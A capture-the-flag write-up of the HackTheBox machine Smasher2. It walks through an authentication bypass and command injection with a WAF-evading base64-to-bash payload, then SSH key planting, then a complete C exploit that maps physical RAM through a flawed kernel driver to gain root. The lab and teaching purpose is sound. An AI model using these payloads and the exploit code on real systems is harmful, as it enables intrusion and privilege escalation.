HTB: Smasher2 Writeup

Smasher2 - HackTheBox Writeup

Machine Information

AttributeDetails
NameSmasher2
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.198
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Smasher2 is a machine built around chained logic bugs rather than a single named CVE: a DNS zone transfer discloses a vhost, a Basic-Auth-protected /backup directory leaks the Flask application source (auth.py) alongside a compiled Python C-extension (ses.so), and reverse engineering that shared object uncovers a one-index reversal bug in its login-comparison logic. That bug allows an authentication bypass which yields an internal API key, which in turn drives an unauthenticated command-injection endpoint (guarded by a naive mod_security-style WAF that is trivially defeated with backslash-split keywords). Foothold as a low-privileged application user is escalated to root through a vulnerable out-of-tree kernel module (dhid.ko) whose mmap handler maps raw physical memory into userspace without bounds validation, letting an attacker scan physical RAM for their own struct cred and zero out the UID/GID fields directly.

TL;DR: DNS AXFR leaks vhost → /backup leaks auth.py + ses.so → reversing ses.so finds get_internal_pwd() compares against index 0 (username) instead of 1 (password) → Administrator:Administrator bypasses auth → API key unlocks /api/<key>/job command injection (WAF bypassed via backslash-split keywords) → SSH key planted for dzonerzy → /dev/dhid world-writable char device with unchecked mmap() handler maps physical RAM → scan for struct cred (8 consecutive UID dwords) → zero it out → root.


Reconnaissance

Port Scanning

Terminal window
# Standard TCP scan against the target
nmap -Pn -sC -sV -p22,53,80,443,8080 10.129.65.198

Results: Open ports were 22 (SSH), 53 (DNS), and 80 (Apache/HTTP). No web server was found on 443/8080 for this spawn.

Service Enumeration

With DNS exposed, a zone transfer was attempted against the box using the box-name-derived domain:

Terminal window
# Attempt a zone transfer (AXFR) — misconfigured authoritative DNS servers
# will hand over the entire zone file to anyone who asks
dig axfr smasher2.htb @10.129.65.198

This returned a PTR/A record for wonderfulsessionmanager.smasher2.htb — a vhost that was not otherwise discoverable through the web root. Both smasher2.htb and wonderfulsessionmanager.smasher2.htb were added as Host headers for subsequent enumeration:

Terminal window
# Probe both vhosts with the discovered Host headers
curl -s -H "Host: smasher2.htb" http://10.129.65.198/
curl -s -H "Host: wonderfulsessionmanager.smasher2.htb" http://10.129.65.198/

wonderfulsessionmanager.smasher2.htb served a session-manager login page backed by a Werkzeug/Flask application. On smasher2.htb, a /backup directory was reachable — on this spawn it was not protected by Basic Auth (no credential brute-force via hydra was required), and it directly listed the application’s backend source:

Terminal window
# Pull the leaked backend source and its compiled extension module
mkdir -p /tmp/sm2 && cd /tmp/sm2
curl -s -H "Host: smasher2.htb" -o auth.py http://10.129.65.198/backup/auth.py
curl -s -H "Host: smasher2.htb" -o ses.so http://10.129.65.198/backup/ses.so

Vulnerability Assessment

  • Information disclosure via DNS AXFR — misconfigured zone transfer leaked an otherwise-unknown vhost.
  • Source disclosure via /backup — auth.py (Flask login handler) and ses.so (a compiled CPython extension implementing SessionManager) were both retrievable.
  • auth.py showed that /auth builds a SessionManager(login, craft_secure_token(...)) object and calls manager.check_login(data); the real comparison logic lives inside the compiled ses.so, not in Python — meaning the actual bug had to be found through reverse engineering, not source review alone.
  • /api/<key>/job executes attacker-controlled schedule values via subprocess.check_output(['bash','-c', data['schedule']]) — a straightforward OS command injection once a valid API key is obtained.

Initial Foothold

Reversing ses.so

ses.so is a compiled CPython C-extension, so it was disassembled directly rather than decompiled as Python bytecode:

Terminal window
# Enumerate exported/internal symbols and strings first
nm -D ses.so | head -40
nm ses.so | grep -i " t "
strings -n 4 ses.so | head -80
# Disassemble the login comparison routine
objdump -d --start-address=0x1ff5 --stop-address=0x2529 -M intel ses.so
objdump -d --start-address=0x1de8 --stop-address=0x1ff5 -M intel ses.so

The disassembly of check_login() showed it calling two helper functions, get_internal_usr() and get_internal_pwd(), to fetch the values it compares the submitted credentials against. Both helpers ultimately reduce to the same PyList_GetItem() call pattern against the internal user_login list — and critically, get_internal_pwd() calls PyList_GetItem(user_login, 0) (index 0, the username slot) instead of index 1 (the password slot). This is a classic off-by-one/index-swap logic bug: the function that is supposed to fetch the stored password actually fetches the stored username again.

The practical consequence: the server never validates the submitted password against the real stored password at all — it validates the submitted password against the username. So submitting a login where password == username (for any username that exists as an internal manager) authenticates successfully, provided the username itself is correct.

# auth.py check (verified via captured traffic to /auth on
# wonderfulsessionmanager.smasher2.htb)
import requests, json
H = {"Host": "wonderfulsessionmanager.smasher2.htb", "Content-Type": "application/json"}
U = "http://10.129.65.198"
s = requests.Session()
s.headers.update(H)
# Because get_internal_pwd() reads index 0 (username) instead of index 1
# (password), submitting password == username bypasses the check entirely.
r = s.post(f"{U}/auth", json={"data": {"username": "Administrator", "password": "Administrator"}})
print(r.text)

Submitting Administrator:Administrator authenticated successfully and /auth returned the internal API key:

fe61e023b3c64d75b3965a5...64f8

This was the intended primary exploitation path for this session — the alternate technique described in the public writeup (leaking secret_token_info off the heap via reference-count exhaustion after ~10 failed logins, since the “data” object’s refcount drops to zero and the adjacent secret_token_info list gets reused/exposed at the same heap address) was not required here because the index-swap bypass worked directly. It was also confirmed that supplying non-string values for username crashes the Flask worker with a segfault, though the app auto-restarts and this path wasn’t needed for exploitation.

Command Injection via /api/<key>/job

With a valid API key, POST /api/<key>/job executes the schedule field through bash -c:

# rce.py — command execution via the leaked API key
import requests, json, base64
H = {"Host": "wonderfulsessionmanager.smasher2.htb", "Content-Type": "application/json"}
U = "http://10.129.65.198"
KEY = "fe61e023b3c64d75b3965a5...64f8"
def run(cmd):
r = requests.post(f"{U}/api/{KEY}/job", headers=H, json={"schedule": cmd})
return r.json()

Straightforward payloads such as id, curl, or base64 -d were rejected by a mod_security-style WAF sitting in front of the endpoint. The bypass used bash’s implicit string concatenation: splitting sensitive keywords across quoted fragments joined by a backslash (e.g. i\d, ba\se64 -\d) reconstructs the original command at shell-parse time while the WAF only ever sees the fragmented, non-matching tokens:

Terminal window
# The WAF signature-matches on whole keywords like "base64" or "id".
# Splitting the keyword with a backslash inside adjacent quoted strings
# defeats naive pattern matching while bash still concatenates and
# executes the reassembled command.
ec\ho 'BASE64_PAYLOAD_HERE' | ba\se64 -\d | bash

This was used to write an SSH public key into dzonerzy’s authorized_keys, planting persistent access:

Terminal window
# Payload logic (executed via the /job endpoint, WAF-evaded per above):
# append an attacker-controlled pubkey to dzonerzy's authorized_keys
echo '<attacker ssh pubkey>' >> /home/dzonerzy/.ssh/authorized_keys
Terminal window
# Confirm foothold
ssh -i ~/.ssh/sm2key dzonerzy@10.129.65.198

user.txt was retrieved from dzonerzy’s home directory:

User Flag: <redacted>

Privilege Escalation

Enumeration

As dzonerzy, a world-writable custom character device was identified: /dev/dhid, backed by an out-of-tree kernel module (dhid.ko). The device permissions and the module’s registration under a non-standard major number were the key signal that this was the intended privesc vector rather than a standard SUID/sudo misconfiguration.

Kernel Module Analysis

The module was pulled to a workstation and disassembled. Its mmap file-operations handler (dev_mmap) takes the userspace-requested VMA size and offset without validating them against the physical memory the device is actually meant to expose, then calls remap_pfn_range() to map that range directly into the calling process’s address space. Because no bound is enforced beyond raw signed-integer size checks, requesting a large enough mapping (0xf0000000 bytes) starting at physical offset 0 effectively maps a large swath of physical RAM — including other processes’ and the kernel’s own in-memory structures — into userspace, readable and writable.

This is the same class of bug documented in MWR Labs’ mmap-handler exploitation research: an out-of-tree driver exposing remap_pfn_range() on attacker-controlled offset/size turns a device file into an arbitrary physical-memory read/write primitive.

Exploit: Scanning Physical RAM for struct cred

The plan is to map physical memory, scan it for eight consecutive dwords all equal to the caller’s own UID (1000) — the layout of the relevant fields at the front of the kernel’s struct cred — and zero them out, which the kernel then reads back as uid=gid=euid=egid=...=0 for that process the next time credentials are checked.

// exp.c — dhid mmap arbitrary physical-memory RW exploit
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
int main(int argc, char *const *argv) {
int fd = open("/dev/dhid", O_RDWR);
if (fd < 0) { perror("open"); return -1; }
unsigned long size = 0xf0000000; // oversized mapping — no bound enforced by dev_mmap
unsigned long mmapStart = 0x42424000;
// Map raw physical memory into our address space, RW, shared
unsigned int *addr = (unsigned int *)mmap((void *)mmapStart, size,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) { perror("mmap"); close(fd); return -1; }
unsigned int uid = getuid();
printf("[+] mmap OK addr: %p, UID: %u\n", addr, uid);
unsigned long credIt = 0;
// Walk the mapped region a dword at a time looking for 8 consecutive
// fields equal to our own UID — the uid/gid/euid/egid/suid/sgid/fsuid/fsgid
// layout at the start of struct cred.
while ((unsigned long)addr < (mmapStart + size - 0x40)) {
credIt = 0;
if (addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid &&
addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid &&
addr[credIt++] == uid && addr[credIt++] == uid) {
printf("[+] Found cred structure at %p\n", addr);
credIt = 0;
// Zero all 8 uid/gid fields -> becomes root's cred
for (int i = 0; i < 8; i++) addr[credIt++] = 0;
if (getuid() == 0) {
puts("[+] GOT ROOT!");
// Skip past cred to the capability words and set full caps
credIt += 4;
for (int i = 0; i < 10; i++) addr[credIt++] = 0xffffffff;
execl("/bin/sh", "-", (char *)NULL);
perror("execl failed");
}
break;
}
addr++;
}
puts("[+] Scanning loop END");
return 0;
}

Because this box’s spawn had an environment quirk where /dev/shm contents and scp’d files vanished between separate SSH command invocations, the exploit source was piped directly into a single interactive SSH session and built/run in /tmp within that same session rather than staged across multiple connections:

Terminal window
# Everything below happens inside ONE ssh session so the compiled
# binary and source survive between the compile and execute steps
ssh dzonerzy@10.129.65.198 <<'EOF'
cd /tmp
cat > .e.c <<'CEOF'
# ...exp.c contents piped in here...
CEOF
gcc .e.c -o .e
./.e
EOF

Running the exploit mapped physical memory at 0x42424000, located the calling process’s struct cred in the scan, zeroed the UID/GID fields, confirmed getuid() == 0, set the capability bitmask words to 0xffffffff (full capabilities), and dropped into a root shell.

Terminal window
# Verification inside the resulting shell
id
# uid=0(root) gid=1000(dzonerzy) groups=0(root),1000(dzonerzy)
cat /root/root.txt
Root Flag: <redacted>

Attack Chain Summary

DNS AXFR leak (smasher2.htb) → wonderfulsessionmanager.smasher2.htb vhost discovered
→ /backup on smasher2.htb (no auth on this spawn) → auth.py + ses.so leaked
→ reverse ses.so → get_internal_pwd() reads index 0 (username) not 1 (password)
→ Administrator:Administrator authenticates → API key returned by /auth
→ POST /api/<key>/job command injection (WAF bypassed via backslash-split keywords)
→ SSH pubkey planted for dzonerzy → user.txt
→ /dev/dhid world-writable device, unchecked mmap() handler → remap_pfn_range() over physical RAM
→ scan mapped memory for struct cred (8x UID dwords) → zero UID/GID + set full capabilities
→ root shell → root.txt

Tools Used

ToolPurpose
nmapPort scanning
digDNS zone transfer (AXFR) to discover hidden vhost
curlVhost/endpoint enumeration and source-file retrieval
nm / objdumpReverse engineering the compiled ses.so extension
stringsExtracting readable strings from ses.so
python3 / requestsScripting the auth-bypass and command-injection HTTP requests
gccCompiling the dhid.ko mmap exploit on-target
ssh / ssh-keygenPersistence and interactive access as dzonerzy

Key Learnings

Techniques Practiced

  • DNS zone transfer (AXFR) for vhost/subdomain discovery
  • Source-code and compiled-extension (.so) disassembly to find logic bugs invisible from the Python layer alone
  • Identifying index/off-by-one bugs in comparison logic as an authentication bypass primitive
  • Basic WAF/mod_security evasion via shell string-concatenation and backslash keyword splitting
  • SSH key implantation via blind command injection for persistence
  • Kernel module reverse engineering to identify an unchecked mmap() file operation
  • Physical memory mapping via remap_pfn_range() abuse to locate and modify struct cred in-place for privilege escalation

Lessons Learned

  1. Authentication logic that lives inside a compiled native extension is not exempt from code review — it must be reverse engineered with the same rigor as source, since subtle bugs (like reading the wrong list index) are easy to miss without disassembly and hard for automated scanners to catch.
  2. WAFs based on literal keyword matching are trivially defeated by shell-level string concatenation; a security control that only inspects the raw string before shell parsing is not equivalent to inspecting the command that actually executes.
  3. Custom out-of-tree kernel modules that expose device nodes to unprivileged users are a high-value target — an unchecked mmap handler that doesn’t bound offset/size against the driver’s actual physical resource turns a device file into a full physical-memory read/write primitive, trivially escalating to root.
  4. When reference counting or heap-layout side channels are described as the “intended” exploitation path, always check for simpler logic bugs first — the actual comparison-index swap here was a more direct and reliable bypass than the refcount-leak technique.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xdf — HTB: Smasher2
  • HackTheBox Official Writeup — Smasher2 (MinatoTW), Document No. D19.100.41 — used for background on the ses.so reference-counting leak technique, the mmap/remap_pfn_range() kernel vulnerability class, and the MWR Labs mmap-exploitation whitepaper it cites.